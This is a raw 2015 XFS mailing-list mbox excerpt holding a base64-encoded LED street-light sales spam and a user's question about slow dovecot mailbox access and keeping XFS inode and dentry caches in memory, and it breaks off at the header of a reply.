KjhO3EOSXnPmYrfS5ZUgdT7PIQlRSp8dqoCF3+9gNbXSiECAaCGx5d7Aj65omk4rICua8AZ r3CQ0kPrDaMnsq7XarZvcrUAx13gGoJSgjkXgz8N7M+qPTSPYK7yhWEKnSGF3whyJOU5FDr 29L0oxoYWtQ== X-QQ-Spam: true X-QQ-BUSINESS-ORIGIN: 2 X-Originating-IP: 27.42.5.198 X-QQ-STYLE: X-QQ-mid: bizmail42t1444118043t6759478 X-QQ-Spam: true From: "=?utf-8?B?THljaGVl?=" To: "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?cmV0YWls?=" , "=?utf-8?B?cG9zdA==?=" , "=?utf-8?B?ZmFnZXJodWx0?=" , "=?utf-8?B?bGlnaHRpbmc=?=" , "=?utf-8?B?a3VuZHNlcnZpY2U=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?bGlnaHQ=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?b2ZmaWNl?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?Z2FsbGlz?=" , "=?utf-8?B?bGFtcGE=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?c21pbm9y?=" , "=?utf-8?B?b3JpdGI=?=" , "=?utf-8?B?bWF6emlnYQ==?=" , "=?utf-8?B?Z2l0ZXNo?=" , "=?utf-8?B?Y29tZXJjaWFs?=" , "=?utf-8?B?bGlnaHRpbmc=?=" , "=?utf-8?B?a29udGFrdA==?=" , "=?utf-8?B?bGlnaHRpbmc=?=" , "=?utf-8?B?cGF1bG8uY2hvbmc=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?a3VuZHNlcnZpY2U=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?amVzcGVyLm5vcnRoZW4=?=" , "=?utf-8?B?cGVyLm9ydGVuYmVyZw==?=" , "=?utf-8?B?YWxleGFuZGVyLmphbnNvbg==?=" , "=?utf-8?B?bGluZGEubmF2ZQ==?=" , "=?utf-8?B?YW5uYnJpdHQubGFyc3Nvbg==?=" , "=?utf-8?B?am9oYW5uZXMubGFyc3Nvbg==?=" , "=?utf-8?B?dXJiYW4=?=" , "=?utf-8?B?dG9yZS5sYXJzc29u?=" , "=?utf-8?B?ZWtvbm9taQ==?=" , "=?utf-8?B?b2RkbGVpZi5ram9sc3RhZA==?=" , "=?utf-8?B?anVuYWlkLmpvb3Nhbmk=?=" <"ju naid.joosani"@ljushandel.se>, "=?utf-8?B?aGFucy5zdW5kc3Ryb20=?=" , "=?utf-8?B?YW5kZXJzLnN1bmRzdHJvbQ==?=" , "=?utf-8?B?TGFycy5rb2xsYmVyZw==?=" , "=?utf-8?B?TGVubmFydC5zdW5kc3Ryb20=?=" , "=?utf-8?B?ZWl2b3Iuc2Nob24=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?c2FsZXM=?=" , "=?utf-8?B?c2NocmVkZXI=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?dWJsaWdodGluZw==?=" , "=?utf-8?B?dHVvbG9uZ2xlZDAz?=" , "=?utf-8?B?c2VydmljZQ==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?bS5zZWJyZWd0cw==?=" , "=?utf-8?B?Z3ptYW5keWxpZ2h0?=" , "=?utf-8?B?bGl1ZGFuMTk4ODIxNw==?=" , "=?utf-8?B?enlmMTk5MTA3MDg=?=" , "=?utf-8?B?dW5pb24tYnJpZ2h0?=" , "=?utf-8?B?c2FsZXM=?=" , "=?utf-8?B?aGVscGRlc2s=?=" , "=?utf-8?B?ZWtvbm9taQ==?=" , "=?utf-8?B?bG9naXN0aWs=?=" , "=?utf-8?B?bmE=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?a2VudA==?=" , "=?utf-8?B?bWlja2U=?=" , "=?utf-8?B?c2VydmljZQ==?=" , "=?utf-8?B?bWF0aGlhcy5sYW1ib3Jn?=" , "=?utf-8?B?Y2hyaXM=?=" , "=?utf-8?B?ZWtvbm9taQ==?=" , "=?utf-8?B?c2FsZXM=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf- 8?B?bS5saXZldA==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?d2VidGV4dGlsZXM=?=" , "=?utf-8?B?amw4ODg5MQ==?=" , "=?utf-8?B?a2VmdQ==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?c2FsZXMxMQ==?=" , "=?utf-8?B?c2FsZXNuby43?=" , "=?utf-8?B?bWFya2V0aW5n?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?ZnR5?=" , "=?utf-8?B?c2FsZXM=?=" , "=?utf-8?B?a2dzbm93?=" , "=?utf-8?B?eGZz?=" , "=?utf-8?B?cmljaGE=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?YmluZWVzaHhhdmllcg==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?ZW1hZHJpZ2Fs?=" , "=?utf-8 ?B?dmVudGFzbA==?=" , "=?utf-8?B?dmVudGFz?=" , "=?utf-8?B?anVkeQ==?=" , "=?utf-8?B?b3B0bw==?=" , "=?utf-8?B?Y29udGFjdA==?=" , "=?utf-8?B?ZGUuZ2FpbnRvcA==?=" , "=?utf-8?B?Y29udGFjdA==?=" , "=?utf-8?B?Y29tZXJjaWFs?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?cmV0b3VyZW4=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mby51c2E=?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?enVpZHdlc3Q=?=" , "=?utf-8?B?aG91dGN2a2V0ZWxz?=" , "=?utf-8?B?QXR0YWNrLm5lZGVybGFuZA==?=" , "=?utf-8?B?YW55aG9wZXRlY2g=?=" , "=?utf-8?B?d2Vi?=" , "=?utf-8?B?aWVtYW5k?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?c2FsZXM=?=" , "=?utf-8?B?c2FsZXM=?=" , "=?utf-8?B?YWxlcw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aW5mbw==?=" , "=?utf-8?B?aWVtYW5k?=" , "=?utf-8?B?aW5mbw==?=" Subject: LED STREET LIGHT Mime-Version: 1.0 X-ASG-Orig-Subj: LED STREET LIGHT Content-Type: multipart/alternative; boundary="----=_NextPart_56137E1B_0ADC7280_64F460AF" Content-Transfer-Encoding: 8Bit Date: Tue, 6 Oct 2015 15:54:03 +0800 X-Priority: 3 Message-ID: X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x X-QQ-SENDSIZE: 520 X-QQ-FName: DD997A759F5E4ADFB6006EB1A3BEA8C2 X-QQ-LocalIP: 163.177.66.155 X-Barracuda-Connect: smtpbg325.qq.com[14.17.32.36] X-Barracuda-Start-Time: 1444124387 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.70 X-Barracuda-Spam-Status: No, SCORE=2.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23227 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 This is a multi-part message in MIME format. ------=_NextPart_56137E1B_0ADC7280_64F460AF Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 RGVhciBNYW5hZ2VyLA0KDQpIb3cgYXJlIHlvdSA/IEhvcGUgZXZlcnl0aGluZyBpcyBnb2lu ZyB3ZWxsLg0KDQpMeWNoZWUgZnJvbSBaaG9uZ3NoYW4gRXhjZWxsZW50IExpZ2h0aW5nIEVs ZWN0cmljYWwgRmFjdG9yeSBoZXJlLg0KDQpPdXIgbWFpbiBwcm9kdWN0cyBhcmU6TEVEIHN0 cmVldCBsaWdodCAsbGVkIHNvbGFyIHN0cmVldCBsaWdodCAsbGVkIGZsb29kIGxpZ2h0ICxs ZWQgaGlnaCBiYXkgbGlnaHQsbGVkIHdhbGwgd2FzaGVyIGxpZ2h0ICxsZWQgZG93bmxpZ2h0 IGV0Yy4gV2l0aCBjb21wZXRpdGl2ZSBwcmljZSBhbmQgaGlnaCBxdWFsaXR5LHdlIGFyZSB0 aGUgbWFudWZhY3R1cmVyLiBNb3JlIGRldGFpbHMgY2FuIGNsaWNrOiB3d3cuYXNsLWxlZC5j b20NCg0KSSB3b3VsZCBsaWtlIHlvdSB0byB0ZWxsIG1lIHlvdXIgYWNxdWlyZW1lbnQuUGxl YXNlIGxldCBtZSBrbm93IHdoYXQgSSBjYW4gaGVscCB0byBkbyBmb3IgeW91Lg0KDQpCeSB0 aGUgd2F5ICxhdHRhY2hlZCBpcyBvdXIgY2F0YWxvZy4NCg0KTG9va2luZyBmb3J3YXJkIHRv IHlvdXIga2luZCBlbWFpbCBhcyBzb29uIGFzIHBvc3NpYmxlLg0KDQpLaW5kIHJlZ2FyZHMs DQoNCkx5Y2hlZSANCg0KIA0KDQoNCg0KDQoNCg0KDQotLS0tLS0tLS0tLS0tLS0tLS0NCg0K DQoNCg0KDQoNCg0KWmhvbmdzaGFuIEV4Y2VsbGVudCBMaWdoaXRuZyBFbGVjdHJpY2FsIEZh Y3RvcnkNCiBBZGQ6NC9GLCBOby40MCwgbGVmZW5nIG5vcnRoIHJvYWQsIFhpYW9sYW4gVG93 bixaaG9uZ3NoYW4sIEd1YW5nZG9uZywgQ2hpbmEoTWFpbmxhbmQpDQogVGVsOiA4Ni03NjAt MjIzODUyNDkNCldlYjogd3d3LmFzbC1sZWQuY29t ------=_NextPart_56137E1B_0ADC7280_64F460AF Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PGRpdj48cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0ibXNvLXNwYWNlcnVuOid5 ZXMnOyBmb250LWZhbWlseTrlrovkvZM7IGZvbnQtc2l6ZToxMC41MDAwcHQ7IG1zby1mb250 LWtlcm5pbmc6MS4wMDAwcHQ7ICI+RGVhciZuYnNwO01hbmFnZXIsPC9zcGFuPjxzcGFuIHN0 eWxlPSJtc28tc3BhY2VydW46J3llcyc7IGZvbnQtZmFtaWx5OuWui+S9kzsgZm9udC1zaXpl OjEwLjUwMDBwdDsgbXNvLWZvbnQta2VybmluZzoxLjAwMDBwdDsgIj48bzpwPjwvbzpwPjwv c3Bhbj48L3A+PHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9Im1zby1zcGFjZXJ1 bjoneWVzJzsgZm9udC1mYW1pbHk65a6L5L2TOyBmb250LXNpemU6MTAuNTAwMHB0OyBtc28t Zm9udC1rZXJuaW5nOjEuMDAwMHB0OyAiPkhvdyZuYnNwO2FyZSZuYnNwO3lvdSZuYnNwOz8m bmJzcDtIb3BlJm5ic3A7ZXZlcnl0aGluZyZuYnNwO2lzJm5ic3A7Z29pbmcmbmJzcDt3ZWxs Ljwvc3Bhbj48c3BhbiBzdHlsZT0ibXNvLXNwYWNlcnVuOid5ZXMnOyBmb250LWZhbWlseTrl rovkvZM7IGZvbnQtc2l6ZToxMC41MDAwcHQ7IG1zby1mb250LWtlcm5pbmc6MS4wMDAwcHQ7 ICI+PG86cD48L286cD48L3NwYW4+PC9wPjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIHN0 eWxlPSJtc28tc3BhY2VydW46J3llcyc7IGZvbnQtZmFtaWx5OuWui+S9kzsgZm9udC1zaXpl OjEwLjUwMDBwdDsgbXNvLWZvbnQta2VybmluZzoxLjAwMDBwdDsgIj5MeWNoZWUmbmJzcDtm cm9tJm5ic3A7WmhvbmdzaGFuJm5ic3A7RXhjZWxsZW50Jm5ic3A7TGlnaHRpbmcmbmJzcDtF bGVjdHJpY2FsJm5ic3A7RmFjdG9yeSZuYnNwO2hlcmUuPC9zcGFuPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTog5a6L5L2TOyBmb250LXNpemU6IDExcHQ7Ij48bzpwPjwvbzpwPjwvc3Bh bj48L3A+PHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9Im1zby1zcGFjZXJ1bjon eWVzJzsgZm9udC1mYW1pbHk65a6L5L2TOyBmb250LXNpemU6MTAuNTAwMHB0OyBtc28tZm9u dC1rZXJuaW5nOjEuMDAwMHB0OyAiPk91ciZuYnNwO21haW4mbmJzcDtwcm9kdWN0cyZuYnNw O2FyZTpMRUQmbmJzcDtzdHJlZXQmbmJzcDtsaWdodCZuYnNwOyxsZWQmbmJzcDtzb2xhciZu YnNwO3N0cmVldCZuYnNwO2xpZ2h0Jm5ic3A7LGxlZCZuYnNwO2Zsb29kJm5ic3A7bGlnaHQm bmJzcDssbGVkJm5ic3A7aGlnaCZuYnNwO2JheSZuYnNwO2xpZ2h0LGxlZCZuYnNwO3dhbGwm bmJzcDt3YXNoZXImbmJzcDtsaWdodCZuYnNwOyxsZWQmbmJzcDtkb3dubGlnaHQmbmJzcDtl dGMuJm5ic3A7V2l0aCZuYnNwO2NvbXBldGl0aXZlJm5ic3A7cHJpY2UmbmJzcDthbmQmbmJz cDtoaWdoJm5ic3A7cXVhbGl0eSx3ZSZuYnNwO2FyZSZuYnNwO3RoZSZuYnNwO21hbnVmYWN0 dXJlci4mbmJzcDtNb3JlJm5ic3A7ZGV0YWlscyZuYnNwO2NhbiZuYnNwO2NsaWNrOiZuYnNw O3d3dy5hc2wtbGVkLmNvbTwvc3Bhbj48c3BhbiBzdHlsZT0ibXNvLXNwYWNlcnVuOid5ZXMn OyBmb250LWZhbWlseTrlrovkvZM7IGZvbnQtc2l6ZToxMC41MDAwcHQ7IG1zby1mb250LWtl cm5pbmc6MS4wMDAwcHQ7ICI+PG86cD48L286cD48L3NwYW4+PC9wPjxwIGNsYXNzPSJNc29O b3JtYWwiPjxzcGFuIHN0eWxlPSJtc28tc3BhY2VydW46J3llcyc7IGZvbnQtZmFtaWx5OuWu i+S9kzsgZm9udC1zaXplOjEwLjUwMDBwdDsgbXNvLWZvbnQta2VybmluZzoxLjAwMDBwdDsg Ij5JJm5ic3A7d291bGQmbmJzcDtsaWtlJm5ic3A7eW91Jm5ic3A7dG8mbmJzcDt0ZWxsJm5i c3A7bWUmbmJzcDt5b3VyJm5ic3A7YWNxdWlyZW1lbnQuUGxlYXNlJm5ic3A7bGV0Jm5ic3A7 bWUmbmJzcDtrbm93Jm5ic3A7d2hhdCZuYnNwO0kmbmJzcDtjYW4mbmJzcDtoZWxwJm5ic3A7 dG8mbmJzcDtkbyZuYnNwO2ZvciZuYnNwO3lvdS48L3NwYW4+PHNwYW4gc3R5bGU9Im1zby1z cGFjZXJ1bjoneWVzJzsgZm9udC1mYW1pbHk65a6L5L2TOyBmb250LXNpemU6MTAuNTAwMHB0 OyBtc28tZm9udC1rZXJuaW5nOjEuMDAwMHB0OyAiPjxvOnA+PC9vOnA+PC9zcGFuPjwvcD48 cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0ibXNvLXNwYWNlcnVuOid5ZXMnOyBm b250LWZhbWlseTrlrovkvZM7IGZvbnQtc2l6ZToxMC41MDAwcHQ7IG1zby1mb250LWtlcm5p bmc6MS4wMDAwcHQ7ICI+QnkmbmJzcDt0aGUmbmJzcDt3YXkmbmJzcDssYXR0YWNoZWQmbmJz cDtpcyZuYnNwO291ciZuYnNwO2NhdGFsb2cuPC9zcGFuPjxzcGFuIHN0eWxlPSJtc28tc3Bh Y2VydW46J3llcyc7IGZvbnQtZmFtaWx5OuWui+S9kzsgZm9udC1zaXplOjEwLjUwMDBwdDsg bXNvLWZvbnQta2VybmluZzoxLjAwMDBwdDsgIj48bzpwPjwvbzpwPjwvc3Bhbj48L3A+PHAg Y2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9Im1zby1zcGFjZXJ1bjoneWVzJzsgZm9u dC1mYW1pbHk65a6L5L2TOyBmb250LXNpemU6MTAuNTAwMHB0OyBtc28tZm9udC1rZXJuaW5n OjEuMDAwMHB0OyAiPkxvb2tpbmcmbmJzcDtmb3J3YXJkJm5ic3A7dG8mbmJzcDt5b3VyJm5i c3A7a2luZCZuYnNwO2VtYWlsJm5ic3A7YXMmbmJzcDtzb29uJm5ic3A7YXMmbmJzcDtwb3Nz aWJsZS48L3NwYW4+PHNwYW4gc3R5bGU9Im1zby1zcGFjZXJ1bjoneWVzJzsgZm9udC1mYW1p bHk65a6L5L2TOyBmb250LXNpemU6MTAuNTAwMHB0OyBtc28tZm9udC1rZXJuaW5nOjEuMDAw MHB0OyAiPjxvOnA+PC9vOnA+PC9zcGFuPjwvcD48cCBjbGFzcz0iTXNvTm9ybWFsIj48c3Bh biBzdHlsZT0ibXNvLXNwYWNlcnVuOid5ZXMnOyBmb250LWZhbWlseTrlrovkvZM7IGZvbnQt c2l6ZToxMC41MDAwcHQ7IG1zby1mb250LWtlcm5pbmc6MS4wMDAwcHQ7ICI+S2luZCZuYnNw O3JlZ2FyZHMsPC9zcGFuPjxzcGFuIHN0eWxlPSJtc28tc3BhY2VydW46J3llcyc7IGZvbnQt ZmFtaWx5OuWui+S9kzsgZm9udC1zaXplOjEwLjUwMDBwdDsgbXNvLWZvbnQta2VybmluZzox LjAwMDBwdDsgIj48bzpwPjwvbzpwPjwvc3Bhbj48L3A+PHAgY2xhc3M9Ik1zb05vcm1hbCI+ PHNwYW4gc3R5bGU9Im1zby1zcGFjZXJ1bjoneWVzJzsgZm9udC1mYW1pbHk65a6L5L2TOyBm b250LXNpemU6MTAuNTAwMHB0OyBtc28tZm9udC1rZXJuaW5nOjEuMDAwMHB0OyAiPkx5Y2hl ZSZuYnNwOzwvc3Bhbj48c3BhbiBzdHlsZT0ibXNvLXNwYWNlcnVuOid5ZXMnOyBmb250LWZh bWlseTrlrovkvZM7IGZvbnQtc2l6ZToxMC41MDAwcHQ7IG1zby1mb250LWtlcm5pbmc6MS4w MDAwcHQ7ICI+PG86cD48L286cD48L3NwYW4+PC9wPjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxz cGFuIHN0eWxlPSJtc28tc3BhY2VydW46J3llcyc7IGZvbnQtZmFtaWx5OidUaW1lcyBOZXcg Um9tYW4nOyBtc28tZmFyZWFzdC1mb250LWZhbWlseTrlrovkvZM7IGZvbnQtc2l6ZToxMC41 MDAwcHQ7IG1zby1mb250LWtlcm5pbmc6MS4wMDAwcHQ7ICI+Jm5ic3A7PC9zcGFuPjwvcD48 L2Rpdj48ZGl2Pjxicj48L2Rpdj48ZGl2PjxzaWduIHNpZ25pZD0iOTkiPjxkaXYgc3R5bGU9 ImNvbG9yOiM5MDkwOTA7Zm9udC1mYW1pbHk6QXJpYWwgTmFycm93O2ZvbnQtc2l6ZToxMnB4 Ij48YnI+PGJyPjxicj48YnI+LS0tLS0tLS0tLS0tLS0tLS0tPC9kaXY+PGRpdiBzdHlsZT0i Zm9udC1zaXplOjE0cHg7Zm9udC1mYW1pbHk6VmVyZGFuYTtjb2xvcjojMDAwOyI+PGRpdiBz dHlsZT0ib3ZlcmZsb3c6aGlkZGVuOyI+PGRpdiBjbGFzcz0iY19kZXRhaWwiIHN0eWxlPSJm bG9hdDpsZWZ0O3BhZGRpbmctdG9wOjM1cHg7bGluZS1oZWlnaHQ6MjJweDtjb2xvcjojYTBh MGEwO3pvb206MTsiPjxoNCBjbGFzcz0ibmFtZSIgc3R5bGU9Im1hcmdpbjowO2ZvbnQtc2l6 ZToxNHB4O2ZvbnQtd2VpZ2h0OmJvbGQ7bGluZS1oZWlnaHQ6MjhweDtjb2xvcjojMDAwO3pv b206MTsiPjxicj48L2g0PjxwIGNsYXNzPSJwb3NpdGlvbiIgc3R5bGU9Im1hcmdpbjowOyI+ PC9wPjxwIGNsYXNzPSJkZXBhcnRtZW50IiBzdHlsZT0ibWFyZ2luOjA7Ij48L3A+PGRpdj5a aG9uZ3NoYW4gRXhjZWxsZW50IExpZ2hpdG5nIEVsZWN0cmljYWwgRmFjdG9yeTwvZGl2Pg0K PGRpdj5BZGQ6NC9GLCBOby40MCwgbGVmZW5nIG5vcnRoIHJvYWQsIFhpYW9sYW4gVG93biw8 c3BhbiBzdHlsZT0ibGluZS1oZWlnaHQ6IDIycHg7ICI+WmhvbmdzaGFuLCBHdWFuZ2Rvbmcs IENoaW5hKE1haW5sYW5kKTwvc3Bhbj48L2Rpdj4NCjxkaXY+VGVsOiA4Ni03NjAtMjIzODUy NDk8L2Rpdj48ZGl2PldlYjogd3d3LmFzbC1sZWQuY29tPC9kaXY+PGRpdj48YnI+PC9kaXY+ DQo8ZGl2Pjxicj48L2Rpdj48cD48L3A+PHAgY2xhc3M9InBob25lIiBzdHlsZT0ibWFyZ2lu OjA7Ij48L3A+PHAgY2xhc3M9ImFkZHIiIHN0eWxlPSJtYXJnaW46MDtsaW5lLWhlaWdodDoy MnB4O2NvbG9yOiNhMGEwYTA7Ij48L3A+PC9kaXY+PC9kaXY+PC9kaXY+PC9zaWduPjwvZGl2 PjxkaXY+Jm5ic3A7PC9kaXY+PGRpdj48aW5jbHVkZXRhaWw+PCEtLTwhW2VuZGlmXS0tPjwv aW5jbHVkZXRhaWw+PC9kaXY+ ------=_NextPart_56137E1B_0ADC7280_64F460AF-- From krautus@kr916.org Tue Oct 6 09:24:46 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.9 required=5.0 tests=MIME_BASE64_TEXT,TVD_FROM_1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B9C5E7F37 for ; Tue, 6 Oct 2015 09:24:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5471FAC002 for ; Tue, 6 Oct 2015 07:24:43 -0700 (PDT) X-ASG-Debug-ID: 1444141476-04bdf04626227690001-NocioJ Received: from posta3.euchiamail.it (posta3.euchiamail.it [46.30.241.112]) by cuda.sgi.com with ESMTP id xCedlgQFFHNtVWGb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 07:24:38 -0700 (PDT) X-Barracuda-Envelope-From: krautus@kr916.org X-Barracuda-Apparent-Source-IP: 46.30.241.112 Received: from localhost (localhost [127.0.0.1]) by posta3.euchiamail.it (Postfix) with ESMTP id B09F16D7854 for ; Tue, 6 Oct 2015 16:24:36 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at posta3.euchiamail.it Received: from posta3.euchiamail.it ([127.0.0.1]) by localhost (sufferone.euchiamail.it [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id uDXINCKNbUpK for ; Tue, 6 Oct 2015 16:24:34 +0200 (CEST) Received: from linux (2-227-160-98.ip186.fastwebnet.it [2.227.160.98]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by posta3.euchiamail.it (Postfix) with ESMTPSA id 8E3D76D7850 for ; Tue, 6 Oct 2015 16:24:33 +0200 (CEST) Date: Tue, 6 Oct 2015 16:24:43 +0200 From: "krautus@kr916.org" To: xfs@oss.sgi.com Subject: all your slabs are belong to ram ? Message-ID: <20151006162443.42f48ee7@linux> X-ASG-Orig-Subj: all your slabs are belong to ram ? MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: base64 X-Barracuda-Connect: posta3.euchiamail.it[46.30.241.112] X-Barracuda-Start-Time: 1444141477 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.52 X-Barracuda-Spam-Status: No, SCORE=0.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MIME_BASE64_TEXT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23232 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.52 MIME_BASE64_TEXT RAW: Message text disguised using base64 encoding RGVhciBMaXN0LCBuaWNlIHRvIG1lZXQgeW91IDopDQoNCkZpcnN0IHBvc3QsIHN0cmFpZ2h0IHRv IHRoZSBwb2ludDoNCkknbSB3cmVzdGxpbmcgZnJvbSBmZXcgd2Vla3Mgd2l0aCBhIHByb2JsZW06 IHJvdW5kY3ViZSAoYSB3ZWJtYWlsIGNsaWVudCkgdGFrZXMgdG9vIGxvbmcgdG8gb3BlbiBhIGRv dmVjb3QgKHBvcC9pbWFwIHNlcnZlcikgbWFpbGJveCB3aXRoIG1hbnkgZW1haWxzIChmaWxlcyku DQpTbywgd2hlbiBzdWNoIHVzZXIgaGFzIG1vcmUgdGhhbiAxMEsgZW1haWxzLCBpdCB0YWtlcyBh cm91bmQgMSBtaW51dGUgdG8gb3BlbiB0aGUgbWFpbGJveC4NCk1lYW53aGlsZSwgSS9PICV1dGls IGdvZXMgdG8gMTAwJSBhbmQgYm90dGxlbmVja3MgdGhlIHdob2xlIHN5c3RlbS4NCg0KSSd2ZSB0 cmllZCBtZW1jYWNoZShkKSBpbnRlZ3JhdGlvbiB3aXRoIHJvdW5kY3ViZSBidXQgaXQgZG9lc24n dCBlbGltaW5hdGUgdGhlIHByb2JsZW0uDQoNCk9TIGlzIERlYmlhbiBXaGVlenkgMzItYml0LCAx NkdCIG9mIEVDQyBSQU0gYW5kIHN0b3JhZ2UgaXMgYSBzaW1wbGUgaGFyZHdhcmUgcmFpZC0xIHdp dGggYSBjb3VwbGUgb2Ygc2F0YTIgaGFyZCBkaXNrcy4NCkkndmUganVzdCB1c2VkIG1rZnMueGZz ICh3aXRoIG5vIHR1bmluZykgYW5kIG5vIG9wdGlvbnMgd2hpbGUgbW91bnRpbmcgKGluIGZzdGFi KS4NCg0KSXQgbG9va3MgbGlrZSB0aGUgcHJvYmxlbSBpcyB0aGUgc2xvdyBhY2Nlc3MgdG8gZGVu dHJpZXMgYW5kIGlub2Rlcywgc28gSSd2ZSBzZXQgdmZzX2NhY2hlX3ByZXNzdXJlIHRvIDEsDQpm b3JjZWQgYnVmZmVyaW5nIHdpdGggZmV3ICJmaW5kIC92YXIvbWFpbCA+IC9kZXYvbnVsbCINCmFu ZCBoYXZlIGl0IHJ1bm5pbmcgbGlrZSB0aGlzIGZyb20gYXJvdW5kIDQgZGF5cy4NCkRpZG4ndCBo ZWxwOiBzbGFicyBzdGlsbCBnZXRzIGZsdXNoZWQgYW5kIG9wZW5pbmcgZm9sZGVycyBpcyBzbG93 IGFzIGJlZm9yZS4NCg0KQ3VycmVudCBzbGFidG9wIHVzYWdlIHNob3dzOg0KMjM1MzUySyB1c2Vk IGJ5IHhmc19pbm9kZQ0KYW5kDQo0OTcwOEsgdXNlZCBieSBkZW50cnkNCndoaWxlIEkgd291bGQg ZXhwZWN0IHRvIGhhdmUgYXQgbGVhc3QgMSBHQiBvZiB4ZnNfaW5vZGUgYW5kIGF0IGxlYXN0IDIw ME1CIG9mIGRlbnRyeS4NCg0KU28gSSdtIGFza2luZyB5b3U6DQoxLiBpcyB0aGVyZSBhIHdheSB0 byBmb3JjZSBkZW50cmllcyBhbmQgaW5vZGVzIHRvIHN0YXkgaW4gcmFtID8NCjIuIGNhbiBJIHBl cmhhcHMgbW92ZSBkZW50cmllcyBhbmQgaW5vZGVzIHRvIGEgZGVkaWNhdGVkIFNTRCA/DQoNCkkn bSBvcGVuIHRvIGFsbCBwb3NzaWJpbGl0aWVzLCBwZXJoYXBzIGluY3JlYXNlIFJBTSA/DQpVcGdy YWRlIHRvIERlYmlhbiBKZXNzaWUgYW5kIDY0IGJpdCA/DQoNCkxldCBtZSBrbm93IGlmIEkgY2Fu IHByb3ZpZGUgbW9yZSBpbmZvLg0KDQoNClRoYW5rIHlvdSB2ZXJ5IG11Y2ghDQpNaWtlDQo= From bfoster@redhat.com Tue Oct 6 09:39:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none 